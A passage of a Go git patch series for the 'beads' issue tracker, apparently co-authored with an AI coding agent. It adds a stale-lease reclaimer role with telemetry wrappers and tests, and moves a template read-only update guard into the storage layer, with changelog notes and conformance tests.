if err != nil { + return result, err + } + for _, r := range result.Reclaimed { + u.rec.record(opUpdate, u.snap.issue(ctx, r.ID)) + } + return result, nil +} + func (u *recordingIssueUC) UpdateWisp(ctx context.Context, id string, updates map[string]any, actor string) error { if err := u.IssueUseCase.UpdateWisp(ctx, id, updates, actor); err != nil { return err diff --git a/internal/telemetry/BUILD.bazel b/internal/telemetry/BUILD.bazel index 90792516b..ffcf6b7d5 100644 --- a/internal/telemetry/BUILD.bazel +++ b/internal/telemetry/BUILD.bazel @@ -20,6 +20,7 @@ go_library( "issue_claimer.go", "issue_operations.go", "issue_reader.go", + "lease_reclaimer.go", "memories.go", "metadata_cas.go", "querier.go", diff --git a/internal/telemetry/lease_reclaimer.go b/internal/telemetry/lease_reclaimer.go new file mode 100644 index 000000000..cf61d8356 --- /dev/null +++ b/internal/telemetry/lease_reclaimer.go @@ -0,0 +1,36 @@ +package telemetry + +import ( + "context" + + "github.com/steveyegge/beads/issueops" +) + +// LeaseReclaimer returns the inner store's lease-sweep surface wrapped in +// this layer's instrumentation. It recurses instead of delegating: a blind +// delegation would return the inner surface unspanned and untimed. +func (s *InstrumentedStorage) LeaseReclaimer() (issueops.LeaseReclaimer, error) { + inner, err := s.Unwrap().LeaseReclaimer() + if err != nil { + return nil, err + } + return s.WrapLeaseReclaimer(inner), nil +} + +// WrapLeaseReclaimer instruments the lease sweep with this storage layer's +// existing telemetry meter and tracer. +func (s *InstrumentedStorage) WrapLeaseReclaimer(inner issueops.LeaseReclaimer) issueops.LeaseReclaimer { + return &instrumentedLeaseReclaimer{storage: s, inner: inner} +} + +type instrumentedLeaseReclaimer struct { + storage *InstrumentedStorage + inner issueops.LeaseReclaimer +} + +func (c *instrumentedLeaseReclaimer) Reclaim(ctx context.Context, request issueops.ReclaimRequest) (result issueops.ReclaimResult, err error) { + ctx, span, started := c.storage.op(ctx, "LeaseReclaimer.Reclaim") + result, err = c.inner.Reclaim(ctx, request) + c.storage.done(ctx, span, started, err) + return result, err +} diff --git a/internal/telemetry/role_accessor_decorator_test.go b/internal/telemetry/role_accessor_decorator_test.go index e7c9b7c9c..24a2d953b 100644 --- a/internal/telemetry/role_accessor_decorator_test.go +++ b/internal/telemetry/role_accessor_decorator_test.go @@ -94,7 +94,7 @@ func TestInstrumentedStorageDeclaresEveryRoleAccessor(t *testing.T) { } // roleAccessorStore is a DoltStorage whose only real methods are the -// twenty-eight role accessors, each answering with a distinguishable sentinel +// twenty-nine role accessors, each answering with a distinguishable sentinel // so a test can tell an instrumented surface from a passed-through one. // // TWO sentinels rather than one: memoryops.Memories.List and issueops.Reader.List @@ -175,8 +175,11 @@ func (s *roleAccessorStore) BatchApplier() (issueops.BatchApplier, error) { func (s *roleAccessorStore) Releaser() (issueops.Releaser, error) { return s.surface, s.err } +func (s *roleAccessorStore) LeaseReclaimer() (issueops.LeaseReclaimer, error) { + return s.surface, s.err +} -// roleAccessorSentinel implements twenty-seven of the twenty-eight roles at +// roleAccessorSentinel implements twenty-eight of the twenty-nine roles at // once — every one but memoryops.Memories, whose List collides with // issueops.Reader.List and needs the second sentinel below. // Nothing calls its methods; identity is the whole point. @@ -306,6 +309,9 @@ func (*roleAccessorSentinel) CompareAndSetKey(context.Context, issueops.CompareA func (*roleAccessorSentinel) Release(context.Context, issueops.ReleaseRequest) (issueops.ReleaseResult, error) { return issueops.ReleaseResult{}, nil } +func (*roleAccessorSentinel) Reclaim(context.Context, issueops.ReclaimRequest) (issueops.ReclaimResult, error) { + return issueops.ReclaimResult{}, nil +} // memoryRoleSentinel is the memory role's sentinel — see // memoryRoleSentinel is the remaining role's sentinel — see @@ -382,6 +388,7 @@ func TestInstrumentedStorageInstrumentsEveryRoleAccessor(t *testing.T) { {"MetadataCAS", func() (any, error) { return wrapped.MetadataCAS() }, sentinel}, {"BatchApplier", func() (any, error) { return wrapped.BatchApplier() }, sentinel}, {"Releaser", func() (any, error) { return wrapped.Releaser() }, sentinel}, + {"LeaseReclaimer", func() (any, error) { return wrapped.LeaseReclaimer() }, sentinel}, } { t.Run(test.name, func(t *testing.T) { surface, err := test.got() @@ -468,6 +475,7 @@ func TestInstrumentedStorageRoleAccessorsPropagateInnerErrors(t *testing.T) { {"MetadataCAS", func() (any, error) { return wrapped.MetadataCAS() }}, {"BatchApplier", func() (any, error) { return wrapped.BatchApplier() }}, {"Releaser", func() (any, error) { return wrapped.Releaser() }}, + {"LeaseReclaimer", func() (any, error) { return wrapped.LeaseReclaimer() }}, } { t.Run(test.name, func(t *testing.T) { surface, err := test.got() diff --git a/internal/types/types.go b/internal/types/types.go index 12f3777e0..dffc85811 100644 --- a/internal/types/types.go +++ b/internal/types/types.go @@ -2380,6 +2380,13 @@ func (s SortPolicy) IsValid() bool { type ReclaimedLease struct { ID string `json:"id"` PreviousOwner string `json:"previous_owner"` + + // Revision is the fresh RevisionToken minted for this issue's row by the + // same UPDATE that reverted its lease — the one this package's + // RevisionToken/ParseRevisionToken pair encodes, the same wire shape as + // IssueDetails.Revision. A caller that re-fetches after a reclaim sees a + // different token than one that raced it. + Revision string `json:"revision"` } // ReclaimFilter scopes which stale-lease issues bd reclaim may revert. The diff --git a/issue_roles_external_test.go b/issue_roles_external_test.go index b6e6dd38a..c9fde9947 100644 --- a/issue_roles_external_test.go +++ b/issue_roles_external_test.go @@ -238,6 +238,39 @@ func TestReleaserExposesTypedUnsupportedError(t *testing.T) { } } +// TestLeaseReclaimerLayersHooksOutsideTelemetry is the same pin for the +// lease-sweep role. It gives the same answer the release does and for the +// same reason: a reclaim moves assignee and status per reverted row, which +// is on_update — a hook the vocabulary publishes and a row a script can +// still read back — so this decorator wraps rather than recursing the way +// Sweeper and Deleter do. +func TestLeaseReclaimerLayersHooksOutsideTelemetry(t *testing.T) { + t.Setenv("BD_OTEL_STDOUT", "true") + instrumented, ok := telemetry.WrapStorage(&dolt.DoltStore{}).(*telemetry.InstrumentedStorage) + if !ok { + t.Fatal("WrapStorage() did not create InstrumentedStorage") + } + + reclaimer, err := storage.NewHookFiringStore(instrumented, nil).LeaseReclaimer() + if err != nil { + t.Fatalf("LeaseReclaimer() error = %v", err) + } + if got := reflect.TypeOf(reclaimer).String(); got != "*storage.hookLeaseReclaimer" { + t.Fatalf("outer layer = %s, want the hook wrapper", got) + } +} + +func TestLeaseReclaimerExposesTypedUnsupportedError(t *testing.T) { + reclaimer, err := (*dolt.DoltStore)(nil).LeaseReclaimer() + if reclaimer != nil { + t.Fatalf("LeaseReclaimer() reclaimer = %T, want nil", reclaimer) + } + var unsupported *beads.ErrUnsupported + if !errors.As(err, &unsupported) { + t.Fatalf("LeaseReclaimer() error = %v, want *beads.ErrUnsupported", err) + } +} + // TestIssueRelationsKeepsTelemetryOutermost is the READ role's version of the // pin, and it is deliberately the other answer: the hook decorator adds no // layer to a read, so the outermost thing a caller gets is the instrumented diff --git a/issueops/BUILD.bazel b/issueops/BUILD.bazel index dc28cd166..47fa9a549 100644 --- a/issueops/BUILD.bazel +++ b/issueops/BUILD.bazel @@ -22,6 +22,7 @@ go_library( "importer.go", "initverifier.go", "issueops.go", + "leasereclaimer.go", "metadatacas.go", "querier.go", "reader.go", diff --git a/issueops/leasereclaimer.go b/issueops/leasereclaimer.go new file mode 100644 index 000000000..4c63f5a42 --- /dev/null +++ b/issueops/leasereclaimer.go @@ -0,0 +1,183 @@ +package issueops + +import ( + "context" + "fmt" + "time" + + "github.com/steveyegge/beads/internal/types" +) + +// ReclaimFilter scopes which stale-lease issues a reclaim may revert. See +// types.ReclaimFilter: this is the same value, aliased into this package the +// way GetManyRequest's sibling roles alias their types.* shapes. +type ReclaimFilter = types.ReclaimFilter + +// ReclaimedLease names one issue whose stale lease a reclaim reverted, plus +// the owner it took the lease from and the fresh revision the revert minted. +// See types.ReclaimedLease. +type ReclaimedLease = types.ReclaimedLease + +// MaxReclaimIDs is the largest ReclaimFilter.IDs this role accepts in one +// call. It is the same number and the same reasoning as MaxGetManyIDs: a flat +// bound on the request rather than a cost model over the sweep it scopes, so +// one call cannot hold the revert transaction open over an unbounded id list. +const MaxReclaimIDs = 1000 + +// TooManyReclaimIDsError reports that a ReclaimRequest's Filter.IDs named more +// ids than this role accepts in one call. It wraps ErrValidation, matching +// TooManyIDsError's shape for the same reason: a caller that only checks for a +// usable request classifies it correctly without knowing this type exists. +type TooManyReclaimIDsError struct { + // Requested is the number of ids Filter.IDs named, counted before + // deduplication. + Requested int + // Cap is MaxReclaimIDs, carried on the error so a caller does not need the + // constant in scope to report what it hit. + Cap int +} + +func (e *TooManyReclaimIDsError) Error() string { + return fmt.Sprintf("reclaim accepts at most %d scoped ids, got %d", e.Cap, e.Requested) +} + +// Unwrap makes TooManyReclaimIDsError match ErrValidation. +func (e *TooManyReclaimIDsError) Unwrap() error { return ErrValidation } + +// The ReclaimRequest fields a ReclaimFieldError can name. +const ( + ReclaimFieldActor = "actor" + ReclaimFieldOlderThan = "older_than" + ReclaimFieldIDs = "ids" + ReclaimFieldAssignees = "assignees" + ReclaimFieldLabels = "labels" + ReclaimFieldLabelsAny = "labels_any" + ReclaimFieldExcludeLabels = "exclude_labels" +) + +// ReclaimFieldError reports a ReclaimRequest refusal and the one field it is +// about, so a front door can name that field without parsing the message. It +// wraps ErrValidation. The id cap is the one refusal that is not one of these: +// it is a *TooManyReclaimIDsError, always about ReclaimFieldIDs. +type ReclaimFieldError struct { + // Field is one of the ReclaimField* constants. + Field string + // Detail is the sentence the error reads as. + Detail string +} + +func (e *ReclaimFieldError) Error() string { return e.Detail } + +// Unwrap makes ReclaimFieldError match ErrValidation. +func (e *ReclaimFieldError) Unwrap() error { return ErrValidation } + +// ReclaimRequest describes one sweep of stale leases — the shape behind +// `bd reclaim`. +// +// Implementations never mutate caller-owned request values: Filter's slices +// are read, never written through. +type ReclaimRequest struct { + // Actor attributes every reverted row's recovery event and its journaled + // update. It is REQUIRED — an empty or all-blank Actor is ErrValidation — + // for the same reason Releaser.Release requires one: a reclaim is the + // moment work stops being owned, and the one question asked of a reverted + // row's history afterwards is who ran the sweep that freed it. It is + // recorded trimmed, and one longer than types.MaxFieldLen characters once + // trimmed is ErrValidation too: the column it is recorded in holds no more. + Actor string + // OlderThan is the grace period past a lease's own TTL: only a lease whose + // lease_expires_at is more than OlderThan in the past is eligible. It must + // not be negative — a negative grace reaches into the future and reclaims + // leases that have not yet expired by their own TTL, which is not a wider + // sweep, it is a different operation this role does not perform. + OlderThan time.Duration + // Filter narrows which stale-lease issues are eligible; the zero value + // reclaims every stale lease workspace-wide. See types.ReclaimFilter for + // the scope fields (ids, assignees, labels) and the AnyReplica escape + // hatch — none of that is restated here, and this role changes none of it. + // + // FILTER.IDS IS NOT AN ERROR WHEN IT NAMES A NON-STALE OR UNKNOWN ISSUE. + // Like GetManyRequest.IDs, an id that is not currently a stale lease + // simply does not appear in ReclaimResult.Reclaimed — scoping by id + // narrows a sweep, it does not assert that every named id was reclaimable. + // + // MORE THAN MaxReclaimIDs ENTRIES IN Filter.IDs IS A REFUSAL: a + // *TooManyReclaimIDsError, counted as sent, before deduplication. + Filter ReclaimFilter +} + +// ReclaimResult reports every issue a reclaim reverted, in the order the sweep +// found them. +type ReclaimResult struct { + // Reclaimed names every issue the sweep reverted, together with the owner + // each lease was taken from and the fresh revision the revert minted on + // each row. Never nil for a successful call, even when it is empty: a + // sweep that finds nothing stale answers with an empty, non-nil slice, the + // same promise GetManyResult.Issues makes. + Reclaimed []ReclaimedLease +} + +// LeaseReclaimer sweeps stale leases back to ready — the capability behind +// `bd reclaim` — and, like every other capability here, a role with its own +// accessor. +// +// IT IS A DIFFERENT QUESTION FROM Releaser. Releaser gives up ONE claim a +// caller names, on the claim's own say-so (Actor, or Force). This sweeps +// MANY leases that have gone stale by a clock, on nobody's say-so but the +// clock's — a reaper calls this, not the agent that held the work. A surface +// carrying both would let a caller that may only report its own abandoned +// work reach into every other holder's, which is the same split Releaser's +// own doc draws against Claimer. +// +// WRITES, AND ITS HOOK IS on_update, once per reverted row. A reclaim clears +// assignee and status on each row it reverts, which is an update and is +// already how the journal classifies it — see Releaser's identical +// reasoning. There is no on_reclaim to fire and inventing one is not this +// role's job. +// +// Reclaim only ever touches the permanent issues table: wisps are ephemeral +// and are never leased work (see internal/storage/issueops. +// ReclaimExpiredLeasesInTx). The replica guard ReclaimFilter.AnyReplica +// documents is unchanged by this role — it is enforced in the shared body +// every library leg calls through. +// +// EVERY LEG RUNS ONE BODY: dolt, embedded dolt and the unit-of-work provider +// wrap internal/storage/issueops.ExecuteReclaimInTx, and the HTTP client leg +// dials POST /v0/beads/issues:reclaim (capability issues.reclaim), behind which +// bd serve runs the same body. `bd reclaim` runs this role on both of its +// routes. Each leg records one version-control entry per sweep that reverted +// anything, and honors a deferred version commit on the context. +// +// Deterministic request-validation failures match ErrValidation. Result +// values are unspecified when error is non-nil, and every refusal below +// leaves persistent state unchanged. +type LeaseReclaimer interface { + // Reclaim sweeps every stale lease ReclaimRequest.Filter admits whose + // lease_expires_at is more than OlderThan in the past, and reports every + // issue it reverted. + // + // IT IS ONE TRANSACTION over the whole sweep: the snapshot that decides + // which leases are stale, every row's revert, and the revision each revert + // mints all see one write. A lease a concurrent heartbeat rescues between + // the snapshot and its row's revert is simply skipped — it never appears + // in Reclaimed, and is not an error. + // + // REFUSALS: + // + // - an empty or all-blank Actor, or one longer than types.MaxFieldLen + // characters once trimmed: ErrValidation, before anything is read; + // - a negative OlderThan: ErrValidation; + // - more than MaxReclaimIDs entries in Filter.IDs, or an empty-string + // entry among them: *TooManyReclaimIDsError or ErrValidation, + // respectively, before anything is read; + // - an empty or all-blank entry in Filter.Assignees, Labels, LabelsAny or + // ExcludeLabels: ErrValidation, because it would match nothing a + // caller meant to name. + // + // Every ErrValidation refusal but the cap is a *ReclaimFieldError naming + // its field. + // + // A sweep that finds no stale leases is not a refusal: it answers an empty, + // non-nil Reclaimed. + Reclaim(ctx context.Context, request ReclaimRequest) (ReclaimResult, error) +} From f21e3a80f7ed3b3b572b329e6f847971e78890ba Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Fri, 9 Oct 2026 16:25:37 +0000 Subject: [PATCH 190/325] fix(issueops): templates are read-only on every update leg (#7427) * fix(issueops): enforce the template read-only update guard on every leg The refusal of an update to a template (validateIssueUpdatable) lived only in cmd/bd as a pre-read, so PATCH /v0/beads/issues/{id}, batch:apply update items and library callers of Lifecycle.Update / BatchApplier edited templates that `bd update` refused. It is now one role rule, storage issueops.AuthorizeTemplateUpdate, returning *issueops.TemplateReadOnlyError (matches ErrTemplateReadOnly; the message is the sentence bd always printed). It runs in the update's own transaction, after the compare-and-set preconditions (a stale guard still reports the mismatch), and no force flag waives it: - ExecuteUpdate (dolt, embedded) and the uow Update and batch update legs; - the batch apply metadata splice that finishes a create item stays unguarded on both bodies (a template the request creates is not modified); - httpapi maps it to 409 template_read_only on updateIssue and applyBatch (spec x-bd-codes and descriptions updated, apigen regenerated) and the client rebuilds the typed error. UpdateRequest.AllowTemplate stands the guard down for one request: the caller edits a template deliberately. bd label (add, remove, remove-prefix) and bd set-state set it, so they keep editing templates on every route, as on origin/main. Over HTTP it is the optional `allow_template` member of the PATCH body, advertised by the issues.update.allowTemplate behavior token, which also says the server enforces the guard. httpclient Lifecycle.Update decides from the cached handshake before the dial: against a server without the token (no guard, no member) it runs the same rule (AuthorizeTemplateUpdate) on a pre-read and never sends allow_template, so a new bd against an older bd serve still refuses template updates. cmd/bd: bd update, bd assign and the proxied assign/tag drop their pre-read and print the role's refusal with the same line and exit code. Conformance: RunLifecycleUpdateRefusesATemplate, RunLifecycleUpdateAllowTemplateEditsATemplate, RunBatchApplyUpdateItemsRefuseATemplate and RunBatchApplySplicesTheMetadataOfATemplateItCreates on dolt, embedded, uow and http (the http splice case is parked: the v0 create item has no is_template member), plus handler and CLI rendering tests, and TestUpdateTemplateGuardAgainstAServerThatPredatesIt (new client, handshake without the token: refused before the dial, allow_template not sent). Skew note (CHANGELOG): an older bd label / bd set-state against a new server cannot send allow_template and now gets 409 template_read_only on a template. bd comment, note, priority and tag keep their CLI-only pre-read guard. Co-Authored-By: Claude Opus 5.5 * fix(issueops): scope template read-only docs to updates, test label stand-down Review fixups for PR 7427 (adopt-pr review loop, iteration 1): - Contract: the role guard covers updates, not every mutation. The CHANGELOG headline, ErrTemplateReadOnly and CodeTemplateReadOnly now say so, and "Not yet moved" names claim, reopen, :casMetadata and the served addComment, which have no template check yet (a PATCH with claim: true refuses a template that POST :claim still claims). Close is #7425's. Follow-up: bd-jkp9v3. - Skew: the CapIssuesUpdateAllowTemplate client fallback covers updateIssue only. A batch update item gets no client-side check, so through an older bd serve it still edits a template; the CHANGELOG and both capability docs say so. - Tests: a template row now goes through the CLI on both tiers (TestEmbeddedLabelEditReports, TestProxiedServerLabelC). bd label add, bd label remove --prefix and bd set-state edit it (AllowTemplate); bd update --title and bd assign exit 1 with the template sentence and leave it unchanged. Mutants: dropping AllowTemplate from label.go and state.go reds the three edits on both tiers; disabling AuthorizeTemplateUpdate reds update and assign on both tiers. - Stale comments: runTagProxiedServer, applyUpdateProxiedOne, proxiedUpdateTarget, UpdateFlags (five booleans, not four) and the ItemUpdate notes in applyLabelEdit and bd label propagate's proxied route (UpdateItem has no AllowTemplate). Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Julian Knutsen Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Claude Opus 5.5 --- CHANGELOG.md | 31 +++++ backend/conformance/batch_apply_contract.go | 69 +++++++++ .../conformance/lifecycle_update_contract.go | 131 ++++++++++++++++++ backend/conformance/role_bundle_cases.go | 4 + cmd/bd/BUILD.bazel | 1 + cmd/bd/assign.go | 8 +- cmd/bd/label.go | 9 +- cmd/bd/label_embedded_test.go | 72 +++++++++- cmd/bd/label_proxied_integration_test.go | 52 +++++++ cmd/bd/label_proxied_server.go | 5 +- cmd/bd/mutate_proxied_server.go | 24 ++-- cmd/bd/show_unit_helpers.go | 7 + cmd/bd/state.go | 3 + cmd/bd/update.go | 27 +++- cmd/bd/update_proxied_server.go | 34 ++--- cmd/bd/update_template_refusal_test.go | 35 +++++ internal/httpapi/BUILD.bazel | 1 + internal/httpapi/apigen/types.gen.go | 7 +- internal/httpapi/batch_apply.go | 5 + internal/httpapi/problem.go | 22 +++ internal/httpapi/routes.go | 15 +- internal/httpapi/server_test.go | 2 +- internal/httpapi/spec/openapi.v0.yaml | 47 ++++++- internal/httpapi/update.go | 10 +- internal/httpapi/update_template_test.go | 107 ++++++++++++++ .../httpapi/wireshape/testdata/golden.json | 6 + internal/httpclient/lifecycle.go | 40 ++++++ .../httpclient/served_batch_apply_test.go | 14 ++ .../httpclient/served_claim_lifecycle_test.go | 13 ++ internal/httpclient/wire/handshake.go | 14 +- internal/httpclient/wire/problem.go | 7 + internal/httpclient/wire/vocabulary_test.go | 4 +- internal/httpclient/wire/writes.go | 19 ++- internal/httpclient/write_ledger_test.go | 2 + internal/httpclient/write_roles_test.go | 100 ++++++++++++- .../storage/dolt/batch_apply_contract_test.go | 10 ++ .../dolt/lifecycle_update_contract_test.go | 6 + .../embeddeddolt/batch_apply_contract_test.go | 6 + .../lifecycle_update_contract_test.go | 6 + internal/storage/issueops/aggregate.go | 23 +++ internal/storage/issueops/batch_apply.go | 6 +- internal/storage/issueops/execution.go | 14 ++ .../issueops/version_completeness_test.go | 4 +- internal/storage/uow/batch_applier.go | 16 ++- .../storage/uow/batch_apply_contract_test.go | 6 + internal/storage/uow/issue_operations.go | 3 + .../issue_operations_claim_contract_test.go | 4 +- .../uow/lifecycle_update_contract_test.go | 6 + internal/validation/BUILD.bazel | 1 + internal/validation/issue.go | 3 +- issueops/BUILD.bazel | 1 + issueops/batchapplier.go | 4 +- issueops/issueops.go | 15 +- issueops/template_errors.go | 30 ++++ 54 files changed, 1038 insertions(+), 73 deletions(-) create mode 100644 cmd/bd/update_template_refusal_test.go create mode 100644 internal/httpapi/update_template_test.go create mode 100644 issueops/template_errors.go diff --git a/CHANGELOG.md b/CHANGELOG.md index 3497db5d1..77b8fc52d 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -204,6 +204,37 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ones cannot fork. ### Fixed +- **An update of a template is now refused for every caller, not only + `bd update`.** The template guard used to be a pre-read in `cmd/bd`, so an + update through `bd serve` (`PATCH /v0/beads/issues/{id}`), an `update` item + of `issues:batchApply`, or a library caller of `issueops.Lifecycle.Update` or + `BatchApplier` edited a template that `bd update` refused. It now lives in + the role, in the update's own transaction, on every backend: any update + naming a template refuses with `*issueops.TemplateReadOnlyError` (matching + `ErrTemplateReadOnly`), whatever its patch and force flags, after the + compare-and-set guards. Over HTTP it is `409` `template_read_only`, and the + client rebuilds the same typed error. HTTP and library callers that edited + templates are now refused (pour the template instead) unless they set the + new `UpdateRequest.AllowTemplate` (`allow_template` on the PATCH body), which + stands the guard down for that one request. `bd update`, `bd assign` and the + proxied `bd tag` print the same line as before; `bd label` and + `bd set-state` set `AllowTemplate` and keep editing templates as they always + have. A batch create that makes a template and splices its metadata still + lands: the splice finishes the create. Version skew: a new `bd` against an + older `bd serve` (no `issues.update.allowTemplate` token in the handshake) + refuses a single template update itself before dialing, and never sends + `allow_template` to it. A batch `update` item gets no such check (its target + resolves on the server), so through an older `bd serve` it still edits a + template. An older `bd label` or `bd set-state` against a new `bd serve` + cannot send `allow_template`, so it now gets `409` `template_read_only` on a + template; upgrade the client. Not yet moved: `bd comment`, `bd note`, + `bd priority` and `bd tag` still refuse templates with their own pre-read in + `cmd/bd` (their direct-route writes do not go through `Lifecycle.Update`), so + for those four the guard lives only in the CLI. Claim, reopen, `:casMetadata` + and the served `addComment` have no template check at all yet (bd-jkp9v3): + `POST /v0/beads/issues/{id}:claim` (`issueops.Claimer`) still claims a + template that a `PATCH` with `claim: true` refuses. Close's guards move to + the role in their own change (#7425). - **PRs based on `hotfix/**` branches now run full CI, not just cross-version historical smokes and triage labeling.** `pr.yml`, `pr-risk.yml`, `conformance.yml`, `cross-version-smoke.yml` and diff --git a/backend/conformance/batch_apply_contract.go b/backend/conformance/batch_apply_contract.go index 49ed97a4f..6da619b21 100644 --- a/backend/conformance/batch_apply_contract.go +++ b/backend/conformance/batch_apply_contract.go @@ -2492,3 +2492,72 @@ func batchApplyHistoryMatching(t *testing.T, ctx context.Context, fixture BatchA } return count } + +// RunBatchApplyUpdateItemsRefuseATemplate pins that an update item answers to +// Lifecycle.Update's template guard: an item targeting a template refuses with +// an *ItemError carrying *TemplateReadOnlyError, whatever force flags it +// carries, and the request is all or nothing, so the create ahead of it does +// not land and the template is untouched. +func RunBatchApplyUpdateItemsRefuseATemplate(t *testing.T, ctx context.Context, fixture BatchApplyFixture) { + t.Helper() + template := fixture.IssuePrefix + "-tmplupd-template" + bystander := fixture.IssuePrefix + "-tmplupd-bystander" + seeded := batchApplyIssue(template, "a template") + seeded.IsTemplate = true + if err := fixture.CreateIssue(ctx, seeded, "seed"); err != nil { + t.Fatalf("seed %s: %v", template, err) + } + + update := batchApplyUpdate(publicops.Ref{ID: template}, publicops.IssuePatch{ + Title: publicops.Field[string]{Set: true, Value: "edited"}, + Status: publicops.Field[publicops.Status]{Set: true, Value: types.StatusClosed}, + }) + update.Update.ForceClosePolicy = true + _, err := fixture.BatchApplier.ApplyBatch(ctx, publicops.ApplyBatchRequest{ + Actor: "apply-writer", + ForceIDPrefix: true, + Items: []publicops.ApplyItem{ + batchApplyCreate("bystander", batchApplyIssue(bystander, "must not land beside a refusal")), + update, + }, + }) + var itemErr *publicops.ItemError + if !errors.As(err, &itemErr) { + t.Fatalf("an update item on template %s: error = %v, want an *ItemError", template, err) + } + if itemErr.Kind != publicops.ItemUpdate || itemErr.Index != 1 { + t.Errorf("ItemError = %#v, want the update item at index 1", itemErr) + } + var refusal *publicops.TemplateReadOnlyError + if !errors.As(err, &refusal) || refusal.IssueID != template { + t.Errorf("update item on template = %v, want *TemplateReadOnlyError naming %s", err, template) + } + assertBatchApplyRowCount(t, ctx, fixture, "issues", bystander, 0) + if got := batchApplyColumn(t, ctx, fixture, "title", template); got != "a template" { + t.Errorf("%s title after the refusal = %q, want it untouched", template, got) + } + if got := batchApplyColumn(t, ctx, fixture, "status", template); got != string(types.StatusOpen) { + t.Errorf("%s status after the refusal = %q, want it untouched", template, got) + } +} + +// RunBatchApplySplicesTheMetadataOfATemplateItCreates is the template guard's +// boundary: the one write a template legitimately takes inside a batch is a +// CREATE item that makes it and asks for a metadata splice. The splice runs as +// an update of the row the request itself is creating, after every id exists, +// and it must land — the template is being written, not modified — so a guard +// placed where the splice reaches it would refuse a template's own creation. +func RunBatchApplySplicesTheMetadataOfATemplateItCreates(t *testing.T, ctx context.Context, fixture BatchApplyFixture) { + t.Helper() + created := fixture.IssuePrefix + "-tmplsplice-created" + fresh := batchApplyIssue(created, "a template this request creates") + fresh.IsTemplate = true + item := batchApplyCreate("created", fresh) + item.Create.MetadataRefs = map[string]publicops.Ref{"gc.self": {Key: "created"}} + batchApplyMust(t, ctx, fixture, publicops.ApplyBatchRequest{ + Actor: "apply-writer", ForceIDPrefix: true, Items: []publicops.ApplyItem{item}, + }) + if _, ok := batchApplyMetadataKey(t, ctx, fixture, created, "gc.self"); !ok { + t.Errorf("%s carries no gc.self key: the splice that finishes a template's own create must land", created) + } +} diff --git a/backend/conformance/lifecycle_update_contract.go b/backend/conformance/lifecycle_update_contract.go index 5219b494d..d58cc0536 100644 --- a/backend/conformance/lifecycle_update_contract.go +++ b/backend/conformance/lifecycle_update_contract.go @@ -2519,3 +2519,134 @@ func lifecycleUpdateHasEdge(dependencies []*types.Dependency, wantTarget string) } return false } + +// RunLifecycleUpdateRefusesATemplate pins Lifecycle.Update's template guard: +// templates are read-only, so EVERY update naming one refuses with +// *TemplateReadOnlyError — a field edit, a label edit, a claim, a status +// crossing — whatever force flags ride along, and nothing is written. It is the +// guard `bd update` used to apply as a CLI pre-read, which left bd serve and +// library callers editing templates bd refused. +// +// The refusal is asserted at the level a caller acts on — the typed error, its +// sentinel and the sentence bd prints, read off the typed error because a +// served refusal wraps it — and the row is read back to prove nothing moved. +// Two controls: the same patches land on an ordinary sibling, so the guard is +// not refusing the patch shapes; and a stale ExpectedVersion on the template +// still reports the mismatch, so the guard runs after the compare-and-set +// preconditions like every other update fence. +func RunLifecycleUpdateRefusesATemplate(t *testing.T, ctx context.Context, fixture LifecycleUpdateFixture) { + t.Helper() + template := fixture.IssuePrefix + "-lut-template" + sibling := fixture.IssuePrefix + "-lut-sibling" + for _, issue := range []*types.Issue{ + {ID: template, IsTemplate: true}, + {ID: sibling}, + } { + issue.Title, issue.Status, issue.Priority, issue.IssueType = issue.ID, types.StatusOpen, 2, types.TypeTask + if err := fixture.CreateIssue(ctx, issue, "seed"); err != nil { + t.Fatalf("seed %s: %v", issue.ID, err) + } + } + before, err := fixture.GetIssue(ctx, template) + if err != nil { + t.Fatalf("read seeded template %s: %v", template, err) + } + + requests := []struct { + name string + request publicops.UpdateRequest + }{ + {name: "field edit", request: publicops.UpdateRequest{ + Patch: publicops.IssuePatch{Title: publicops.Field[string]{Set: true, Value: "edited"}}, + }}, + {name: "label edit", request: publicops.UpdateRequest{ + Patch: publicops.IssuePatch{Labels: publicops.LabelPatch{Add: []string{"lut-tag"}}}, + }}, + {name: "claim", request: publicops.UpdateRequest{Claim: true}}, + {name: "forced status crossing", request: publicops.UpdateRequest{ + Patch: publicops.IssuePatch{Status: publicops.Field[publicops.Status]{Set: true, Value: types.StatusClosed}}, + ForceClosePolicy: true, + }}, + {name: "forced assignee transfer", request: publicops.UpdateRequest{ + Patch: publicops.IssuePatch{Assignee: publicops.Field[string]{Set: true, Value: "someone"}}, + ForceAssigneeTransfer: true, + }}, + } + for _, tc := range requests { + request := tc.request + request.Actor, request.IssueID = "writer", template + _, err := fixture.Lifecycle.Update(ctx, request) + var refusal *publicops.TemplateReadOnlyError + if !errors.As(err, &refusal) { + t.Fatalf("%s on template %s: err = %v, want *TemplateReadOnlyError", tc.name, template, err) + } + if refusal.IssueID != template || !errors.Is(err, publicops.ErrTemplateReadOnly) { + t.Errorf("%s refusal = %#v (%v), want IssueID %q matching ErrTemplateReadOnly", tc.name, refusal, err, template) + } + if want := "cannot modify template " + template + ": templates are read-only; use 'bd mol pour' to create a work item"; refusal.Error() != want { + t.Errorf("%s refusal reads %q, want %q", tc.name, refusal.Error(), want) + } + after, err := fixture.GetIssue(ctx, template) + if err != nil { + t.Fatalf("read template %s after the %s refusal: %v", template, tc.name, err) + } + if after.RowVersion != before.RowVersion || after.Title != before.Title || after.Status != before.Status || + after.Assignee != before.Assignee || len(after.Labels) != len(before.Labels) { + t.Errorf("template %s after the %s refusal = %+v, want it unchanged from %+v", template, tc.name, after, before) + } + + control := tc.request + control.Actor, control.IssueID = "writer", sibling + if _, err := fixture.Lifecycle.Update(ctx, control); err != nil { + t.Errorf("%s on the ordinary sibling %s: %v, want it to land", tc.name, sibling, err) + } + } + + stale := before.RowVersion + 1 + _, err = fixture.Lifecycle.Update(ctx, publicops.UpdateRequest{ + Actor: "writer", IssueID: template, ExpectedVersion: &stale, + Patch: publicops.IssuePatch{Title: publicops.Field[string]{Set: true, Value: "edited"}}, + }) + if !errors.Is(err, publicops.ErrVersionMismatch) { + t.Errorf("stale-guarded update of template %s: err = %v, want ErrVersionMismatch ahead of the template guard", template, err) + } +} + +// RunLifecycleUpdateAllowTemplateEditsATemplate pins the template guard's one +// stand-down: an update with AllowTemplate — what bd label and bd set-state +// send, since they have always edited templates — lands on a template, and +// only that request is waived (the same patch without it still refuses). +func 